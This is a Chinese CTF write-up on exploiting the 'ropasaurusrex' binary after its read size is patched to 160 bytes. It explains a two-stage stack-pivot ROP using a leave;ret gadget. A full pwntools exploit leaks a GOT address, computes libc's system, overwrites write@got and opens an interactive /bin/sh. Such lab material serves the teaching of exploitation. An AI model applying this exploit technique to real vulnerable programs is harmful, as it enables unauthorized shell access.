ROP区域较小的情况

  • 改变read的size
  • 256字节 -> 160字节

限制写入size

1
$ xxd -p ropasaurusrex | sed -e 's/c744240800010000/c7442408a0000000/' | xxd -r -p > ropasaurusrex2

确认

1
2
3
4
5
6
7
8
9
$ diff <(objdump -d -M intel ropasaurusrex) <(objdump -d -M intel ropasaurusrex2)
2c2
< ropasaurusrex: 文件格式 elf32-i386
---
> ropasaurusrex2: 文件格式 elf32-i386
129c129
< 80483fd: c7 44 24 08 00 01 00 mov DWORD PTR [esp+0x8],0x100
---
> 80483fd: c7 44 24 08 a0 00 00 mov DWORD PTR [esp+0x8],0xa0

只有160字节,无法直接构造ROP

  • 只能够调用一个函数

  • 但是可以使用stack pivot

exploit

使用stack pivot

  • 这就是类似stager,需要两个阶段的ROP
    • ROP执行stack pivot(stager1)
    • 通过stack pivot执行正常攻略的ROP(stager2)
    • stack pivot之后,与之前的攻略相同

Hint

  • 无法构造一个准备ebp的gadget?

  • 这个问题中,原本使用了leave ret

    • 不需要讲pop ebp加载到stack上也可以
    • 只需要将目标ebp写到old-ebp

leave gadget

1
2
3
4
5
6
7
gdb-peda$ ropsearch "leave" 0x08048000 0x08049000
Searching for ROP gadget: 'leave' in range: 0x8048000 - 0x8049000
0x080482ea : (b'c9c3') leave; ret
0x080483f1 : (b'c9c3') leave; ret
0x0804841b : (b'c9c3') leave; ret
0x08048447 : (b'c9c3') leave; ret
0x08048506 : (b'c9c3') leave; ret

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# preparing for exploitation

write_plt = 0x0804830c
read_plt = 0x0804832c
pop3ret = 0x80484b6
write_got = 0x8049614
read_got = 0x804961c
data = 0x08049620
system_offset = 0x0003d200
write_offset = 0x000e6d80
bss_addr = 0x08049628 + 0x300
bss_top_addr = 0x08049000
leave_ret = 0x080482ea

log.info('Pwning')

buf = 'A' * 136
buf += p32(bss_addr-4)
buf += p32(read_plt)
buf += p32(leave_ret)
buf += p32(0)
buf += p32(bss_addr)
buf += p32(72)

# write(STDOUT, got_write, 4)
buf2 = p32(write_plt) + p32(pop3ret) + p32(1) + p32(write_got) + p32(4)
# read(STDIN, data, 8)
buf2 += p32(read_plt) + p32(pop3ret) + p32(0) +p32(data) + p32(8)
# read(STDIN, got_write, 4)
buf2 += p32(read_plt) + p32(pop3ret) + p32(0) + p32(write_got) + p32(4)
# write(data) # system("/bin/sh")
buf2 += p32(write_plt) + p32(0x41424344) + p32(data)

conn.send(buf)
conn.send(buf2)

ret = u32(conn.recv())
print('write@got: {}'.format(hex(ret)))
print('libc_start: {}'.format(hex(ret - write_offset)))
system_addr = ret - write_offset + system_offset
print('system: {}'.format(hex(system_addr)))

conn.send('/bin/sh'+'\x00')

buf = p32(system_addr)

conn.send(buf)
conn.interactive()
  • return之前4个字节是old-ebp,设置为bss之前4个字节地址。减去4个字节是因为在最终处理时,pop会将old ebp加上4个字节
  • bss地址加上0x500原因是,在添加函数时,栈会扩展。如果没有添加,则可能会进入到其他区域,其他区域可能不可读写,导致SIGSEGV

???

喵了个咪的,最开始用的conn.sendline(),一直EOFError,今天看代码忽然想到是不是这个问题,果然是